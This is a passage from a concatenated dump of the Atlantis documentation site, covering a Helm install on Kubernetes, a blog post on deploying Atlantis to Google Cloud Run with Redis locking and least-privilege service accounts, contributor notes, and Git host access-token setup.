ATLANTIS_TF_DOWNLOAD: false TERRAGRUNT_TFPATH: /plugins/tofu ``` **7** - Last but not least, here we specify which Atlantis-side configurations we will have for the repositories. ```yaml # repository config repoConfig: | --- repos: - id: /.*/ apply_requirements: [approved, mergeable] allow_custom_workflows: true allowed_overrides: [workflow, apply_requirements, delete_source_branch_on_merge] ``` **8** - Configure Atlantis webhook ingress, in the example below we are using the AWS ALB. ```yaml # ingress config ingress: annotations: alb.ingress.kubernetes.io/backend-protocol: HTTP alb.ingress.kubernetes.io/certificate-arn: arn:aws:acm:certificate alb.ingress.kubernetes.io/group.name: external-atlantis alb.ingress.kubernetes.io/healthcheck-path: /healthz alb.ingress.kubernetes.io/healthcheck-port: "80" alb.ingress.kubernetes.io/healthcheck-protocol: HTTP alb.ingress.kubernetes.io/listen-ports: '[{"HTTPS":443}]' alb.ingress.kubernetes.io/scheme: internet-facing alb.ingress.kubernetes.io/ssl-redirect: "443" alb.ingress.kubernetes.io/success-codes: "200" alb.ingress.kubernetes.io/target-type: ip apiVersion: networking.k8s.io/v1 enabled: true host: atlantis.your.domain ingressClassName: aws-ingress-class-name path: /* pathType: ImplementationSpecific ``` Save all changes made to ```values.yaml``` **9** - Using one of the Atlantis options custom workflows, we can create a file ```atlantis.yaml``` in the root folder of your repository, the example below should meet most scenarios, adapt as needed. ```yaml version: 3 automerge: true parallel_plan: true parallel_apply: false projects: - name: terragrunt dir: . workspace: terragrunt delete_source_branch_on_merge: true autoplan: enabled: false apply_requirements: [mergeable, approved] workflow: terragrunt workflows: terragrunt: plan: steps: - env: name: TF_IN_AUTOMATION value: 'true' - run: find . -name '.terragrunt-cache' | xargs rm -rf - run: terragrunt init -reconfigure - run: command: terragrunt plan -input=false -out=$PLANFILE output: strip_refreshing apply: steps: - run: terragrunt apply $PLANFILE ``` **10** - Now let’s go to the installation itself, search for the available versions of Atlantis: ```sh helm search repo runatlantis ``` Replace ```CHART-VERSION``` with the version you want to install and run the command below: ```sh helm upgrade -i atlantis runatlantis/atlantis --version CHART-VERSION -f values.yaml --create-namespace atlantis ``` Now, see as configure Atlantis [webhook on github](../../docs/configuring-webhooks.md) repository. See as Atlantis [work](../../docs/using-atlantis.md). Find out more at: - . - . - . Share it with your friends =) ================================================ FILE: runatlantis.io/blog/2025/atlantis-on-google-cloud-run.md ================================================ --- title: Atlantis on Google Cloud Run lang: en-US --- # Atlantis on Google Cloud Run ::: info Though written for Google Cloud Run, this deployment architecture also applies to AWS Fargate, Azure Container Instances, and Kubernetes. ::: ::: info This blog post covers the most important parts of the Terraform code. For a complete working example, see our [atlantis-on-gcp-cloud-run example](https://github.com/runatlantis/atlantis-contrib/tree/main/atlantis-on-cloud-run). ::: Most Atlantis deployments run on self-managed VMs. While this is a familiar and straightforward option, it comes with challenges. Identities often become overly powerful, with direct or indirect access — through impersonation — to many resources and projects. High availability is also lacking: Atlantis writes its locking backend directly to disk, so if the VM goes down, Atlantis becomes unavailable. In short, self-managed VMs create a single point of failure, offer no horizontal scaling, and demand ongoing maintenance — from patching and OS upgrades to backups. In this blog post, we will show how to run Atlantis on serverless container platforms like Google Cloud Run. Instead of a single instance, we will use a central database for locking, and deploy multiple Atlantis instances behind a load balancer. Each instance runs with its own identity and limited permissions, managing only its own projects. This architecture eliminates the single point of failure, allows horizontal scaling, and enables a least-privilege security model. ## What we’ll build Here’s a high-level overview of the architecture we’ll build: ![](atlantis-on-google-cloud-run/runatlantis-cloud-run-arch.drawio.png) 1. An External HTTP(S) Load Balancer to route requests to multiple Atlantis instances. 2. Multiple Atlantis instances running on Google Cloud Run. 3. A Memorystore for Redis instance to provide a central locking backend. ::: info If you're looking to skip ahead, you can find the Terraform code for this architecture in our [atlantis-on-gcp-cloud-run example](https://github.com/runatlantis/atlantis-contrib/tree/main/atlantis-on-cloud-run). However, we recommend reading through the rest of this blog post to understand how it all works. ::: ## We Left Things Out To keep this post a reasonable length, we’ve left out some important details. For instance, we don’t cover setting up networking, DNS, how to pull a Docker image or wildcard TLS certificates, nor do we dive into every knob and switch in Atlantis—our focus here is on the parts most relevant to the architecture. That said, we strongly recommend running Atlantis in an isolated VPC with [Private Service Access](https://cloud.google.com/vpc/docs/configure-private-services-access) enabled. This ensures Atlantis only talks to Google APIs to do its job, without ever reaching into your other infrastructure. ## BoltDB: Great, if you only have one writer Atlantis uses [BoltDB](https://github.com/boltdb/bolt) as its default locking backend. BoltDB is a simple, embedded key-value store that writes directly to disk. This works well for single-instance deployments, but BoltDB locks Atlantis into a single-node architecture. To achieve high availability and horizontal scaling, you need to replace it with a managed, distributed database that multiple Atlantis instances can safely share. ## An Atlantis to Rule Them All To facilitate the creation and management of multiple Atlantis instances, we’ll also deploy a dedicated “management” Atlantis instance. This instance will be responsible for managing the lifecycle of the other Atlantis instances, including creating, updating, and deleting them as needed. I usually keep this in a separate Google Cloud project called `atlantis-mgmt`, along with a dedicated Git repository for this purpose. Once you have one instance set up, it’s straightforward to replicate it and place it behind a shared load balancer. ## Redis: A distributed locking backend Since Atlantis v0.19.0, Redis is a supported locking backend. Redis is an in-memory data structure store that we will use to provide a central locking backend for multiple Atlantis instances. Each instance will connect to the same Redis instance, allowing them to coordinate locks and avoid conflicts. Redis also supports persistence, through RDB (Redis Database), which performs point-in-time snapshots of the dataset at specified intervals, and AOF (Append Only File), which logs every write operation received by the Redis server. This means that even if the Redis instance goes down, we don't lose our locks. Our first resource to create is a Redis instance: ```tf resource "google_redis_instance" "atlantis" { name = "atlantis" tier = "STANDARD_HA" redis_version = "REDIS_7_2" memory_size_gb = 1 region = "your-region" authorized_network = "your-network-id" connect_mode = "PRIVATE_SERVICE_ACCESS" persistence_config { persistence_mode = "RDB" rdb_snapshot_period = "TWENTY_FOUR_HOURS" } maintenance_policy { # ... } project = "your-project-id" lifecycle { prevent_destroy = true } } ``` This creates a Redis instance with 1 GiB of memory and enables RDB, taking snapshots every 24 hours. The `connect_mode` is set to `PRIVATE_SERVICE_ACCESS`, so the Redis instance is only accessible from within your VPC. Ensure that [Private Service Access](https://cloud.google.com/vpc/docs/configure-private-services-access) is configured on your VPC before creating the instance. ## Deploying to Cloud Run Cloud Run is a serverless container platform that automatically scales your applications, handles HTTP requests, and abstracts away infrastructure. You pay only for the compute you use, and each service runs under a single service account that defines its permissions. This makes it a great fit for one or more Atlantis instances. We'll begin by creating a server-side Atlantis configuration, `atlantis/management.yaml`: ```yaml repos: - id: github.com/acme/example apply_requirements: [approved, mergeable] import_requirements: [approved, mergeable] allowed_overrides: ["workflow"] allowed_workflows: ["example"] delete_source_branch_on_merge: true workflows: example: plan: steps: - init - plan apply: steps: - apply ``` ::: info The below Terraform configuration highlights only the Atlantis environment variables that are relevant to this blog post. For a complete working example, see our [atlantis-on-gcp-cloud-run example](https://github.com/runatlantis/atlantis-contrib/tree/main/atlantis-on-cloud-run). ::: Begin by creating the management Atlantis instance. Below this Terraform configuration, you’ll find details on the configuration options—such as environment variables and other important settings—that configure Atlantis for this architecture. ```tf resource "google_cloud_run_v2_service" "atlantis_management" { provider = google-beta name = "atlantis-management" location = "your-region" deletion_protection = false ingress = "INGRESS_TRAFFIC_INTERNAL_LOAD_BALANCER" invoker_iam_disabled = true launch_stage = "GA" template { scaling { min_instance_count = 1 max_instance_count = 1 } execution_environment = "EXECUTION_ENVIRONMENT_GEN2" service_account = google_service_account.atlantis_management.email containers { image = "ghcr.io/runatlantis/atlantis:v0.35.1" resources { limits = { cpu = "1" memory = "2Gi" } } volume_mounts { name = "atlantis" mount_path = "/app/atlantis" } env { name = "ATLANTIS_PORT" value = "8080" } env { name = "ATLANTIS_DATA_DIR" value = "/app/atlantis" } env { name = "ATLANTIS_USE_TF_PLUGIN_CACHE" value = "true" } env { name = "ATLANTIS_LOCKING_DB_TYPE" value = "redis" } env { name = "ATLANTIS_REDIS_HOST" value = google_redis_instance.atlantis.host } env { name = "ATLANTIS_REDIS_DB" value = "0" } env { name = "ATLANTIS_ATLANTIS_URL" value = "https://management.atlantis.acme.com" } env { name = "ATLANTIS_REPO_CONFIG_JSON" value = jsonencode(yamldecode(file("${path.module}/atlantis/management.yaml"))) } } vpc_access { egress = "ALL_TRAFFIC" network_interfaces { network = "your-network-id" subnetwork = "your-subnetwork-id" } } volumes { name = "atlantis" empty_dir { medium = "MEMORY" size_limit = "5Gi" } } } project = "your-project-id" } ``` ## Ephemeral Storage Atlantis is I/O intensive: it checks out repositories, runs Terraform commands, downloads providers, and pulls modules. This requires a writable filesystem to store temporary data. On Cloud Run, this is handled with ephemeral storage, which is cleared whenever a container instance stops or restarts. Because of how Atlantis operates, its ephemeral storage requirements are limited: pull request data is removed from the filesystem once merged or closed, providers can be cached using `ATLANTIS_USE_TF_PLUGIN_CACHE`, and Terraform binaries are already included in the container image. For this reason, we configure a 5 GiB in-memory `empty_dir` volume, mounted at `/app/atlantis` and set as the `ATLANTIS_DATA_DIR`. ```tf # ... volumes { name = "atlantis" empty_dir { medium = "MEMORY" size_limit = "5Gi" } } # ... volume_mounts { name = "atlantis" mount_path = "/app/atlantis" } # ... env { name = "ATLANTIS_DATA_DIR" value = "/app/atlantis" } env { name = "ATLANTIS_USE_TF_PLUGIN_CACHE" value = "true" } ``` ## Keeping an Instance Warm Cloud Run instances can scale down to zero when not in use, which can lead to cold starts and loss of the in-memory ephemeral storage. To avoid this, we set `min_instance_count` to 1, ensuring that at least one instance is always running and ready to handle requests. ```tf scaling { min_instance_count = 1 max_instance_count = 1 } ``` ## Impersonation and Least Privilege Each Atlantis Cloud Run service deployed runs under a service account that defines its identity. Instead of giving this account broad access, we use a service account that only has permission to impersonate other, more restricted service accounts. This isn't something you'll need to do for the management Atlantis instance, as that gets deployed against a single project anyway, but it's important for the other Atlantis instances that will manage multiple projects and environments. By using impersonation, we can ensure that each Atlantis instance only has the permissions it needs to manage its specific projects. For example, you can create one base Atlantis service account (`atlantis-example`) and separate service accounts for each environment (e.g. `atlantis-example-dev`, `atlantis-example-prod`). The base account is granted the `roles/iam.serviceAccountTokenCreator` role on those environment accounts, and impersonates them when Atlantis runs Terraform commands. In turn, these environment-specific service accounts are granted only the permissions required against the projects they manage. This ensures that if one Atlantis instance is compromised, the blast radius is limited to only the resources that instance manages. Here’s an example of how to set this up in Terraform: ```tf locals { atlantis_network_service_accounts = [ "atlantis-example-dev", "atlantis-example-prod", ] } # Base Atlantis service account resource "google_service_account" "atlantis_example" { account_id = "atlantis-example" project = local.project_id } # Per-environment service accounts resource "google_service_account" "atlantis_example_service_accounts" { for_each = toset(local.atlantis_example_service_accounts) account_id = each.value project = local.project_id } # Allow base SA to impersonate the env-specific ones resource "google_service_account_iam_member" "atlantis_example_impersonation" { for_each = google_service_account.atlantis_example_service_accounts service_account_id = each.value.name role = "roles/iam.serviceAccountTokenCreator" member = "serviceAccount:${google_service_account.atlantis_example.email}" } ``` The impersonation itself is enabled by setting the `GOOGLE_IMPERSONATE_SERVICE_ACCOUNT` environment variable within an `atlantis/example.yaml` workflow. In this setup, Atlantis manages two separate environments: `dev` and `prod` — by switching identities to the corresponding environment-specific service account during `plan` and `apply` operations. ```yaml repos: - id: github.com/acme/example apply_requirements: [approved, mergeable] import_requirements: [approved, mergeable] delete_source_branch_on_merge: true allowed_overrides: ["workflow"] allowed_workflows: ["example-dev", "example-prod"] workflows: example-dev: plan: steps: - env: name: GOOGLE_IMPERSONATE_SERVICE_ACCOUNT value: example-dev@acme-atlantis-mgmt.iam.gserviceaccount.com - run: rm -rf .terraform - init: extra_args: ["-lock=false", "-backend-config=env/dev/backend-config.tfvars"] - plan: extra_args: ["-lock=false", "-var-file=env/dev/vars.tfvars"] apply: steps: - env: name: GOOGLE_IMPERSONATE_SERVICE_ACCOUNT value: example-dev@acme-atlantis-mgmt.iam.gserviceaccount.com - apply: extra_args: ["-lock=false"] example-prod: plan: steps: - env: name: GOOGLE_IMPERSONATE_SERVICE_ACCOUNT value: example-prod@acme-atlantis-mgmt.iam.gserviceaccount.com - run: rm -rf .terraform - init: extra_args: ["-lock=false", "-backend-config=env/prod/backend-config.tfvars"] - plan: extra_args: ["-lock=false", "-var-file=env/prod/vars.tfvars"] apply: steps: - env: name: GOOGLE_IMPERSONATE_SERVICE_ACCOUNT value: example-prod@acme-atlantis-mgmt.iam.gserviceaccount.com - apply: extra_args: ["-lock=false"] ``` ## The Shared Load Balancer When running multiple Atlantis instances—each responsible for a different set of projects or environments—it’s important to route traffic to the right Atlantis instance. Instead of giving each instance its own public endpoint, we centralize traffic through a single global HTTPS load balancer. The below load balancer uses host-based routing to direct requests to the appropriate Atlantis instance based on the subdomain. For example, requests to `network.atlantis.acme.com` are routed to the Atlantis instance managing the network projects, while requests to `workloads.atlantis.acme.com` go to the Atlantis instance managing the workload projects. ```tf resource "google_compute_url_map" "atlantis" { name = "atlantis" default_url_redirect { host_redirect = "atlantis.acme.com" https_redirect = true redirect_response_code = "MOVED_PERMANENTLY_DEFAULT" strip_query = false } host_rule { hosts = ["network.atlantis.acme.com"] path_matcher = "atlantis-network-webhooks" } host_rule { hosts = ["workloads.atlantis.acme.com"] path_matcher = "atlantis-workloads-webhooks" } host_rule { hosts = ["management.atlantis.acme.com"] path_matcher = "atlantis-management-webhooks" } path_matcher { name = "atlantis-network-webhooks" default_service = google_compute_backend_service.atlantis_network.id path_rule { paths = ["/events"] service = google_compute_backend_service.atlantis_network_webhooks.id } } path_matcher { name = "atlantis-workloads-webhooks" default_service = google_compute_backend_service.atlantis_workloads.id path_rule { paths = ["/events"] service = google_compute_backend_service.atlantis_workloads_webhooks.id } } path_matcher { name = "atlantis-management-webhooks" default_service = google_compute_backend_service.atlantis_management.id path_rule { paths = ["/events"] service = google_compute_backend_service.atlantis_management_webhooks.id } } project = "your-project-id" } resource "google_compute_ssl_policy" "restricted" { name = "restricted" profile = "RESTRICTED" min_tls_version = "TLS_1_2" project = "your-project-id" } resource "google_compute_target_https_proxy" "atlantis" { name = "atlantis" url_map = google_compute_url_map.atlantis.id ssl_certificates = [ google_compute_managed_ssl_certificate.atlantis_network.id, google_compute_managed_ssl_certificate.atlantis_workloads.id, google_compute_managed_ssl_certificate.atlantis_management.id, ] ssl_policy = google_compute_ssl_policy.restricted.id project = "your-project-id" } resource "google_compute_global_forwarding_rule" "atlantis" { name = "atlantis" target = google_compute_target_https_proxy.atlantis.id port_range = "443" ip_address = google_compute_global_address.atlantis.address load_balancing_scheme = "EXTERNAL_MANAGED" project = "your-project-id" } ``` Each Atlantis instance is registered as a backend service in the load balancer. Importantly, every instance requires two separate backends: one for the main Atlantis HTTP endpoint and another for the `/events` webhook endpoint. This separation allows us to protect the main Atlantis interface behind [Identity-Aware Proxy](https://cloud.google.com/iap/docs/concepts-overview) (IAP), ensuring only authorized users can access it, while keeping the webhook endpoint publicly reachable so GitHub or GitLab can deliver events without restriction. We highly recommend protecting the `/events` endpoint with a [security policy](https://registry.terraform.io/providers/hashicorp/google/latest/docs/resources/compute_security_policy) to block unwanted traffic. At a minimum, restrict access to the IP ranges used by your Git provider, and some common web vulnerability patterns. See [Cloud Armor preconfigured WAF rules](https://cloud.google.com/armor/docs/waf-rules). ```tf resource "google_compute_backend_service" "atlantis_workloads" { name = "atlantis-workloads" protocol = "HTTP" port_name = "http" timeout_sec = 30 load_balancing_scheme = "EXTERNAL_MANAGED" security_policy = google_compute_security_policy.atlantis.id backend { group = google_compute_region_network_endpoint_group.atlantis_workloads.id } iap { enabled = true } project = "your-project-id" } resource "google_compute_backend_service" "atlantis_workloads_webhooks" { name = "atlantis-workloads-webhooks" protocol = "HTTP" port_name = "http" timeout_sec = 30 load_balancing_scheme = "EXTERNAL_MANAGED" security_policy = google_compute_security_policy.atlantis_events_webhook.id backend { group = google_compute_region_network_endpoint_group.atlantis_workloads.id } project = "your-project-id" } ``` ## Conclusion By deploying Atlantis on Google Cloud Run with a shared Redis locking backend and a shared load balancer, we provide a highly available, horizontally scalable, and secure Atlantis deployment. Each Atlantis instance runs with its own identity and limited permissions, managing only its own projects. As there's just so much to cover, and we want to keep this post at a reasonable length, we haven't covered everything. For a complete working example, see our [atlantis-on-gcp-cloud-run example](https://github.com/runatlantis/atlantis-contrib/tree/main/atlantis-on-cloud-run). If you have any questions or feedback, please join the #atlantis Slack channel in the Cloud Native Computing Foundation Slack workspace, or open an issue in the [atlantis-on-gcp-cloud-run example](https://github.com/runatlantis/atlantis-contrib/tree/main/atlantis-on-cloud-run). We also gave a talk on this architecture—slides are available here: [Atlantis on Cloud Run](https://speakerdeck.com/bschaatsbergen/atlantis-on-cloud-run). ================================================ FILE: runatlantis.io/blog.md ================================================ --- title: Welcome to Our Blog aside: false --- # Welcome to Our Blog We are thrilled to have you here! Our blog is a collection of insightful articles, tips, and updates from our team. Whether you're new or have been following us for a while, there's always something new to learn and explore. ### Explore Our Popular Posts We have a rich history of blog posts dating back to 2017. Here are some of our popular posts: - [Atlantis on Google Cloud Run](blog/2025/atlantis-on-google-cloud-run.md) - [4 Reasons To Try HashiCorp's (New) Free Terraform Remote State Storage](blog/2019/4-reasons-to-try-hashicorps-new-free-terraform-remote-state-storage.md) - [I'm Joining HashiCorp!](blog/2018/joining-hashicorp.md) - [Putting The Dev Into DevOps: Why Your Developers Should Write Terraform Too](blog/2018/putting-the-dev-into-devops-why-your-developers-should-write-terraform-too.md) - [Atlantis 0.4.4 Now Supports Bitbucket](blog/2018/atlantis-0-4-4-now-supports-bitbucket.md) - [Terraform And The Dangers Of Applying Locally](blog/2018/terraform-and-the-dangers-of-applying-locally.md) - [Hosting Our Static Site over SSL with S3, ACM, CloudFront and Terraform](blog/2018/hosting-our-static-site-over-ssl-with-s3-acm-cloudfront-and-terraform.md) - [Introducing Atlantis](blog/2017/introducing-atlantis.md) ### Welcoming New Blog Authors We are excited to welcome new authors to our blog. Our diverse team brings a wealth of knowledge and experience to share with our readers. Stay tuned for fresh perspectives and in-depth articles on the latest trends and technologies. If you have any questions or topics you would like us to cover, feel free to reach out on [Slack](https://slack.cncf.io/). We are always looking to engage with our community and provide valuable content. Happy reading! ================================================ FILE: runatlantis.io/contributing/events-controller.md ================================================ # Events Controller Webhooks are the primary interaction between the Version Control System (VCS) and Atlantis. Each VCS sends the requests to the `/events` endpoint. The implementation of this endpoint can be found in the [events_controller.go](https://github.com/runatlantis/atlantis/blob/main/server/controllers/events/events_controller.go) file. This file contains the Post function `func (e *VCSEventsController) Post(w http.ResponseWriter, r *http.Request`)` that parses the request according to the configured VCS. Atlantis currently handles one of the following events: - Comment Event - Pull Request Event All the other events are ignored. ```mermaid --- title: events controller flowchart --- flowchart LR events(/events - Endpoint) --> Comment_Event(Comment - Event) events --> Pull_Request_Event(Pull Request - Event) Comment_Event --> pre_workflow(pre-workflow - Hook) pre_workflow --> plan(plan - command) pre_workflow --> apply(apply - command) pre_workflow --> approve_policies(approve policies - command) pre_workflow --> unlock(unlock - command) pre_workflow --> version(version - command) pre_workflow --> import(import - command) pre_workflow --> state(state - command) plan --> post_workflow(post-workflow - Hook) apply --> post_workflow approve_policies --> post_workflow unlock --> post_workflow version --> post_workflow import --> post_workflow state --> post_workflow Pull_Request_Event --> Open_Update_PR(Open / Update Pull Request) Pull_Request_Event --> Close_PR(Close Pull Request) Open_Update_PR --> pre_workflow(pre-workflow - Hook) Close_PR --> plan(plan - command) pre_workflow --> plan plan --> post_workflow(post-workflow - Hook) Close_PR --> CleanUpPull(CleanUpPull) CleanUpPull --> post_workflow(post-workflow - Hook) ``` ## Comment Event This event is triggered whenever a user enters a comment on the Pull Request, Merge Request, or whatever it's called for the respective VCS. After parsing the VCS-specific request, the code calls the `handleCommentEvent` function, which then passes the processing to the `handleCommentEvent` function in the [command_runner.go](https://github.com/runatlantis/atlantis/blob/main/server/events/command_runner.go) file. This function first calls the pre-workflow hooks, then executes one of the below-listed commands and, at last, the post-workflow hooks. - [plan_command_runner.go](https://github.com/runatlantis/atlantis/blob/main/server/events/plan_command_runner.go) - [apply_command_runner.go](https://github.com/runatlantis/atlantis/blob/main/server/events/apply_command_runner.go) - [approve_policies_command_runner.go](https://github.com/runatlantis/atlantis/blob/main/server/events/approve_policies_command_runner.go) - [unlock_command_runner.go](https://github.com/runatlantis/atlantis/blob/main/server/events/unlock_command_runner.go) - [version_command_runner.go](https://github.com/runatlantis/atlantis/blob/main/server/events/version_command_runner.go) - [import_command_runner.go](https://github.com/runatlantis/atlantis/blob/main/server/events/import_command_runner.go) - [state_command_runner.go](https://github.com/runatlantis/atlantis/blob/main/server/events/state_command_runner.go) ## Pull Request Event To handle comment events on Pull Requests, they must be created first. Atlantis also allows the running of commands for certain Pull Requests events.
Pull Request Webhooks The list below links to the supported VCSs and their Pull Request Webhook documentation. - [Azure DevOps Pull Request Created](https://learn.microsoft.com/en-us/azure/devops/service-hooks/events?view=azure-devops#pull-request-created) - [BitBucket Pull Request](https://support.atlassian.com/bitbucket-cloud/docs/event-payloads/#Pull-request-events) - [GitHub Pull Request](https://docs.github.com/en/webhooks/webhook-events-and-payloads#pull_request) - [GitLab Merge Request](https://docs.gitlab.com/user/project/integrations/webhook_events/#merge-request-events) - [Gitea Webhooks](https://docs.gitea.com/next/usage/webhooks)
The following list shows the supported events: - Opened Pull Request - Updated Pull Request - Closed Pull Request - Other Pull Request event The `RunAutoPlanCommand` function in the [command_runner.go](https://github.com/runatlantis/atlantis/blob/main/server/events/command_runner.go) file is called for the _Open_ and _Update_ Pull Request events. When enabled on the project, this automatically runs the `plan` for the specific repository. Whenever a Pull Request is closed, the `CleanUpPull` function in the [instrumented_pull_closed_executor.go](https://github.com/runatlantis/atlantis/blob/main/server/events/instrumented_pull_closed_executor.go) file is called. This function cleans up all the closed Pull Request files, locks, and other related information. ================================================ FILE: runatlantis.io/contributing/glossary.md ================================================ # Glossary The Atlantis community uses many words and phrases to work more efficiently. You will find the most common ones and their meaning on this page. ## Pull / Merge Request Event The different VCSs have different names for merging changes. Atlantis uses the name Pull Request as the abstraction. The VCS provider implements this abstraction and forwards the call to the respective function. ## VCS VCS stands for Version Control System. Atlantis supports only git as a Version Control System. However, there is support for multiple VCS Providers. Currently, it supports the following providers: - [Azure DevOps](https://azure.microsoft.com/en-us/products/devops) - [BitBucket](https://bitbucket.org/) - [GitHub](https://github.com/) - [GitLab](https://gitlab.com/) - [Gitea](https://gitea.com/) The term VCS is used for both git and the different VCS providers. ================================================ FILE: runatlantis.io/contributing.md ================================================ --- aside: false --- # Atlantis Contributing Documentation These docs are for users who want to contribute to the Atlantis project. This can vary from writing documentation, helping the community on Slack, discussing issues, or writing code. :::tip Looking to get started or use Atlantis? If you're new, check out the [Guide](./guide.md) or the [Documentation](./docs.md). ::: ## Next Steps - [Events Controller](./contributing/events-controller.md)  –  How do the events work? ================================================ FILE: runatlantis.io/docs/access-credentials.md ================================================ # Git Host Access Credentials This page describes how to create credentials for your Git host (GitHub, GitLab, Gitea, Bitbucket, or Azure DevOps) that Atlantis will use to make API calls. ## Create an Atlantis user (optional) We recommend creating a new user named **@atlantis** (or something close) or using a dedicated CI user. This isn't required (you can use an existing user or github app credentials), however all the comments that Atlantis writes will come from that user so it might be confusing if it's coming from a personal account. ![Example Comment](./images/example-comment.png)

An example comment coming from the @atlantisbot user

## Generating an Access Token Once you've created a new user (or decided to use an existing one), you need to generate an access token. Read on for the instructions for your specific Git host: * [GitHub](#github-user) * [GitHub app](#github-app) * [GitLab](#gitlab) * [Gitea](#gitea) * [Bitbucket Cloud (bitbucket.org)](#bitbucket-cloud-bitbucket-org) * [Bitbucket Server (aka Stash)](#bitbucket-server-aka-stash) * [Azure DevOps](#azure-devops) ### GitHub user * Create a [Personal Access Token](https://docs.github.com/en/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token#creating-a-fine-grained-personal-access-token) * Create the token with **repo** scope * The following repository permissions are the minimum required: * Commit statuses: read and write (to update the PR with indicators of plan/apply/policy job states) * Contents: read only (to fetch the files changed and clone the repository) * Metadata: read only (this will be automatically selected as mandatory when Contents is set to read-only) * Pull requests: read and write (to comment and react on the PR) * Record the access token ::: warning Your Atlantis user must also have "Write permissions" (for repos in an organization) or be a "Collaborator" (for repos in a user account) to be able to set commit statuses: ![Atlantis status](./images/status.png) ::: ### GitHub app #### Create the GitHub App Using Atlantis ::: warning Available in Atlantis versions **newer** than 0.13.0. ::: * Start Atlantis with fake github username and token (`atlantis server --gh-user fake --gh-token fake --repo-allowlist 'github.com/your-org/*' --atlantis-url https://$ATLANTIS_HOST`). If installing as an **Organization**, remember to add `--gh-org your-github-org` to this command. * Visit `https://$ATLANTIS_HOST/github-app/setup` and click on **Setup** to create the app on GitHub. You'll be redirected back to Atlantis * A link to install your app, along with its secrets, will be shown on the screen. Record your app's credentials and install your app for your user/org by following said link. * Create a file with the contents of the GitHub App Key, e.g. `atlantis-app-key.pem` * Restart Atlantis with new flags: `atlantis server --gh-app-id --gh-app-key-file atlantis-app-key.pem --gh-webhook-secret --write-git-creds --repo-allowlist 'github.com/your-org/*' --atlantis-url https://$ATLANTIS_HOST`. NOTE: Instead of using a file for the GitHub App Key you can also pass the key value directly using `--gh-app-key`. You can also create a config file instead of using flags. See [Server Configuration](server-configuration.md#config-file). ::: warning Only a single installation per GitHub App is supported at the moment. ::: ::: tip NOTE GitHub App handles the webhook calls by itself, hence there is no need to create webhooks separately. If webhooks were created manually, those can be removed when using GitHub App. Otherwise, there would be 2 calls to Atlantis resulting in locking errors on path/workspace. Webhooks can either be created manually or managed by the GitHub App for repositories that trigger Atlantis. If manually creating (see the [section below](access-credentials.md#manually-creating-the-github-app)), do not specify webhook details in the GitHub app configuration settings. In both cases it is strongly recommended to protect the webhooks using a secret. See [Webhook Secrets](webhook-secrets.md#webhook-secrets) ::: #### Manually Creating the GitHub app * Create the GitHub app as an Administrator * Ensure the app is registered / installed with the organization / user * See the GitHub app [documentation](https://docs.github.com/en/apps/creating-github-apps/about-creating-github-apps/about-creating-github-apps) * Create a file with the contents of the GitHub App Key, e.g. `atlantis-app-key.pem` * Start Atlantis with the following flags: `atlantis server --gh-app-id --gh-installation-id --gh-app-key-file atlantis-app-key.pem --gh-webhook-secret --write-git-creds --repo-allowlist 'github.com/your-org/*' --atlantis-url https://$ATLANTIS_HOST`. NOTE: Instead of using a file for the GitHub App Key you can also pass the key value directly using `--gh-app-key`. You can also create a config file instead of using flags. See [Server Configuration](server-configuration.md#config-file). ::: tip NOTE Manually installing the GitHub app means that the credentials can be shared by many Atlantis installations. This has the benefit of centralizing repository access for shared modules / code. ::: ::: tip NOTE Repositories must be manually registered with the created GitHub app to allow Atlantis to interact with Pull Requests. ::: ::: tip NOTE Passing the additional flag `--gh-app-slug` will modify the name of the App when posting comments on a Pull Request. ::: #### Permissions GitHub App needs these permissions. These are automatically set when a GitHub app is created. ::: tip NOTE Since v0.19.7, a new permission for `Administration` has been added. If you have already created a GitHub app, updating Atlantis to v0.19.7 will not automatically add this permission, so you will need to set it manually. Since v0.22.3, a new permission for `Members` has been added, which is required for features that apply permissions to an organizations team members rather than individual users. Like the `Administration` permission above, updating Atlantis will not automatically add this permission, so if you wish to use features that rely on checking team membership you will need to add this manually. Since v0.30.0, a new permission for `Actions` has been added, which is required for checking if a pull request is mergeable while bypassing the apply check. Updating Atlantis will not automatically add this permission, so you will need to add this manually. ::: | Type | Access | | --------------- | ------------------- | | Administration | Read-only | | Checks | Read and write | | Commit statuses | Read and write | | Contents | Read and write | | Issues | Read and write | | Metadata | Read-only (default) | | Pull requests | Read and write | | Webhooks | Read and write | | Members | Read-only | | Actions | Read-only | ### GitLab * Follow: [GitLab: Create a personal access token](https://docs.gitlab.com/user/profile/personal_access_tokens/#create-a-personal-access-token) * Create a token with **api** scope * Record the access token ### Gitea * Go to "Profile and Settings" > "Settings" in Gitea (top-right) * Go to "Applications" under "User Settings" in Gitea * Create a token under the "Manage Access Tokens" with the following permissions: * issue: Read and Write * repository: Read and Write * user: Read * Record the access token ### Bitbucket Cloud (bitbucket.org) * Create an App Password by following [BitBucket Cloud: Create an app password](https://support.atlassian.com/bitbucket-cloud/docs/create-an-app-password/) * Label the password "atlantis" * Select **Pull requests**: **Read** and **Write** so that Atlantis can read your pull requests and write comments to them. If you want to enable the [hide-prev-plan-comments](server-configuration.md#hide-prev-plan-comments) feature and thus delete old comments, please add **Account**: **Read** as well. * Record the access token ### Bitbucket Server (aka Stash) * Click on your avatar in the top right and select **Manage account** * Click **Personal access tokens** in the sidebar * Click **Create a token** * Name the token **atlantis** * Give the token **Read** Project permissions and **Write** Pull request permissions * Click **Create** and record the access token NOTE: Atlantis will send the token as a [Bearer Auth to the Bitbucket API](https://confluence.atlassian.com/bitbucketserver/http-access-tokens-939515499.html#HTTPaccesstokens-UsingHTTPaccesstokens) instead of using Basic Auth. ### Azure DevOps * Create a Personal access token by following [Azure DevOps: Use personal access tokens to authenticate](https://docs.microsoft.com/en-us/azure/devops/organizations/accounts/use-personal-access-tokens-to-authenticate?view=azure-devops) * Label the password "atlantis" * The minimum scopes required for this token are: * Code (Read & Write) * Code (Status) * Member Entitlement Management (Read) * Record the access token ## Next Steps Once you've got your user and access token, you're ready to create a webhook secret. See [Creating a Webhook Secret](webhook-secrets.md). ================================================ FILE: runatlantis.io/docs/api-endpoints.md ================================================ # API Endpoints Aside from interacting via pull request comments, Atlantis could respond to a limited number of API endpoints. :::warning ALPHA API - SUBJECT TO CHANGE The API endpoints documented on this page are currently in **alpha state** and are **not considered stable**. The request and response schemas may change at any time without prior notice or deprecation period. If you build integrations against these endpoints, when upgrading Atlantis you should review the release notes carefully and be prepared to update your code. ::: ## Main Endpoints The API endpoints in this section are disabled by default, since these API endpoints could change the infrastructure directly. To enable the API endpoints, `api-secret` should be configured. :::tip Prerequisites * Set `api-secret` as part 